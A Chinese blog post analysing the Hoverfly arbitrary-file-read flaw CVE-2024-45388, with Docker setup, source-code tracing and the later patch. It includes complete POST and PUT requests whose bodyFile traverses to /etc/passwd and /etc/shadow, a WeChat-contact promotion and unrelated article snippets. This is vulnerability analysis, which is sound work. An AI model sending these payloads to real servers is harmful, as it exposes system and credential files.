Hoverfly 任意文件读取漏洞(CVE-2024-45388)

news/2024/10/12 23:40:46

漏洞简介

Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation​ 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而,这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管代码禁止指定绝对路径,但攻击者可以通过使用 ../​ 段来逃离 hf.Cfg.ResponsesBodyFilesPath​ 基本路径,从而访问任何任意文件。

环境搭建

我们还是利用 docker 来搭建环境

https://hub.docker.com/r/spectolabs/hoverfly/tags

docker pull spectolabs/hoverfly:v1.10.2
docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2   

漏洞复现

构造数据包

POST /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
​
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}

PUT /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
​
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}}

【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

漏洞分析

hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#RegisterRoutes

定义了 SimulationHandler​ 的路由注册方法,路由的每个 HTTP 方法(如 GET​、PUT​、POST​、DELETE​ 等)都有一个对应的处理函数 (this.Get​、this.Put​、this.Post​、this.Delete​、this.Options​、this.GetSchema​)。这些函数处理实际的业务逻辑。

  • GET /api/v2/simulation: 处理获取模拟数据。

  • PUT /api/v2/simulation: 处理更新模拟数据。

  • POST /api/v2/simulation: 处理创建新的模拟数据。

  • DELETE /api/v2/simulation: 处理删除模拟数据。

  • OPTIONS /api/v2/simulation: 提供有关 /api/v2/simulation​ 端点允许的 HTTP 方法的信息。

  • GET /api/v2/simulation/schema: 获取模拟数据的 schema(结构)。

  • OPTIONS /api/v2/simulation/schema: 提供有关 /api/v2/simulation/schema​ 端点允许的 HTTP 方法的信息。

POST 和 PUT 方法 仅仅是函数的第三个参数有所不同,所以两种请求方式都可以实现任意文件读取

hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#addSimulation

第三个参数的不同导致 PUT 方法在获取新的模型内容时,首先删除前一个模拟内容,可以重复读取不同文件内容。POST 仅仅只能读取一次文件内容,无法更新。

hoverfly-1.10.2\core\hoverfly_service.go#PutSimulation

hoverfly-1.10.2\core\hoverfly_service.go#putOrReplaceSimulation

hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFiles

hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFile

这里就是漏洞产生的关键原因,对传入的参数 filePath 没有做具体的校验,可以通过 ../​ 实现跨越目录的读取文件

我们看到最新版已经对传入的参数进行了处理

hoverfly-1.10.4\core\hoverfly_funcs.go#readResponseBodyFile

hoverfly-1.10.4\core\util\util.go#ResolveAndValidatePath

这个 ResolveAndValidatePath​ 函数用于从一个绝对路径(absBasePath​)解析一个相对路径(relativePath​),并验证这个相对路径是否合法。具体来说,它确保了相对路径不会尝试向上回溯(使用 ".."​),并且解析后的路径仍然在基路径之下。

更多网安技能的在线实操练习,请点击这里>>

  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/70864.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

2024-2025-1 20241307《计算机基础与程序设计》第三周学习总结

作业信息这个作业属于哪个课程 (2024-2025-1-计算机基础与程序设计)这个作业要求在哪里 (2024-2025-1计算机基础与程序设计第三周作业)这个作业的目标作业正文 (2024-2025-1 学号20241307《计算机基础与程序设计》第三周学习总结)教材学习内容总结 第二章主要介绍了二进制数…

昆明理工大学25届最新《891计算机专业核心综合》考试大纲

昆工昆明理工大学计算机技术人工智能软件工程网络空间安全计算机系统结构计算机软件与理论计算机应用技术网络与信息安全408考研综合程序设计891计算机专业核心综合数据库系统原理

模拟退火与爬山法

通过向 chatGPT-4o-mini 提问,我注意到所有爬山法可以解决的问题模拟退火都可以解决,所以爬山法死了我不想学爬山法。 具体的,对于一个多峰函数求解最值的题目都可以用模拟退火来做。 如果现在在较优解 \(x\),发现了一个新的解 \(x\),如果 \(x\) 比 \(x\) 优那么 \(x\gets…

类与对象的创建

1.类的定义 类是抽象的,它是对某一事物整体进行描述,不能具体代表一个事物。 比如:学生、老师、动物、植物 2.对象的定义 对象是具体的,是抽象概念的具体实例。 比如:学生小明、老师张三 3.类的创建 1.类由两部分组成,第一个是属性,即字段(int name;)另一个是方法。 …

域名系统DNS服务

1 名字解析介绍和DNS 1.根域: 全球根服务器节点只有13个,10个在美国,1个荷兰,1个瑞典,1个日本 2.一级域名:Top Level Domain: tld 三类:组织域、国家域(.cn, .ca, .hk, .tw)、反向域 com, edu, mil, gov, net, org, int,arpa 3.二级域名:wang.org 4.三级域名:study.wang…

Python用CNN - LSTM、ARIMA、Prophet股票价格预测的研究与分析|附数据代码

全文链接: https://tecdat.cn/?p=37860 原文出处:拓端数据部落公众号 分析师:Sabrina Huang 股票市场的波动起伏一直备受投资者关注,准确预测股票价格对于投资者制定合理的投资策略至关重要。股票价格数据具有时间序列特性,近年来,随着机器学习和深度学习技术的发展,各…